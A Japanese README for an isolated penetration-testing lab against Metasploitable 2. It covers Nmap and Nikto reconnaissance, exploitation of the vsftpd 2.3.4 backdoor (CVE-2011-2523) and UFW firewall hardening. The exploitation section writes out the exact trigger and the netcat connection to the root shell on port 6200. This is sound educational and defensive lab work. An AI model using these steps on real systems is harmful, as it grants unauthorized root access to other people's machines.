📋 概要

このラボは、完全に隔離された仮想環境において、実際のペネトレーションテストと防御強化演習をシミュレートします。偵察から悪用に至るまでの攻撃セキュリティライフサイクルと、各リスクを軽減する防御制御を実証します。

主な成果: 既知のバックドアを悪用し、資格情報や特別なツールを使用せずに、60秒未満で対象マシンの完全なrootアクセスを達成しました。

🏗 ラボ環境

🎯 手法

偵察  →  スキャン  →  悪用  →  防御と強化

🔍 フェーズ1 — 偵察

Nmapによるポートスキャン

sudo nmap -sV -O 192.168.148.130 -oN scan_before.txt

主な発見 — 合計23のオープンポート:

NiktoによるWebスキャン

nikto -h http://192.168.148.130 -o nikto_before.txt

18の脆弱性を発見（以下を含む）:

• phpMyAdminが公開されている
• phpinfo.phpがサーバー設定全体を漏洩
• HTTP TRACEが有効（XST攻撃）
• /doc/、/test/でディレクトリインデックスが有効
• 旧バージョンのApache 2.2.8とPHP 5.2.4

💥 フェーズ2 — 悪用

CVE-2011-2523 — vsftpd 2.3.4 バックドア

vsftpd 2.3.4には、サプライチェーン侵害により導入されたバックドアが存在します。:) で終わるユーザー名を送信すると、サーバーはポート 6200 にrootシェルを開きます。

# ステップ1 — FTP経由でバックドアをトリガー
ftp 192.168.148.130
# ユーザー名: backdoor:)   パスワード: 任意

# ステップ2 — 生成されたシェルに接続
nc 192.168.148.130 6200

# ステップ3 — アクセスを確認
whoami
# → root

結果: 資格情報も悪用フレームワークも不要で、60秒未満で完全なrootレベルのシステムアクセスを達成。

影響: rootアクセスを得た攻撃者は、任意のファイルの読み取り/変更/削除、マルウェアのインストール、データの窃取、ネットワーク上の他のホストへの横断移動が可能。

🛡 フェーズ3 — 防御と強化

UFWファイアウォール — デフォルト拒否ポリシー

sudo ufw enable
sudo ufw default deny incoming
sudo ufw default allow outgoing
sudo ufw allow 22/tcp    # SSHのみ
sudo ufw status verbose

推奨される是正措置

📄 完全なレポート

完全な評価については、report.md を参照してください — 手法全体、コマンド出力、発見事項テーブル、悪用手順、およびすべての是正推奨事項が含まれています。

⚠️ 法的免責事項

このラボは、意図的に脆弱なソフトウェア（Metasploitable 2）を使用し、完全に隔離された仮想環境で実施されました。すべての手法は教育およびポートフォリオ目的のみです。自分が所有していない、または明示的な書面によるテスト許可を得ていないシステムで再現しないでください。

🛠 使用ツール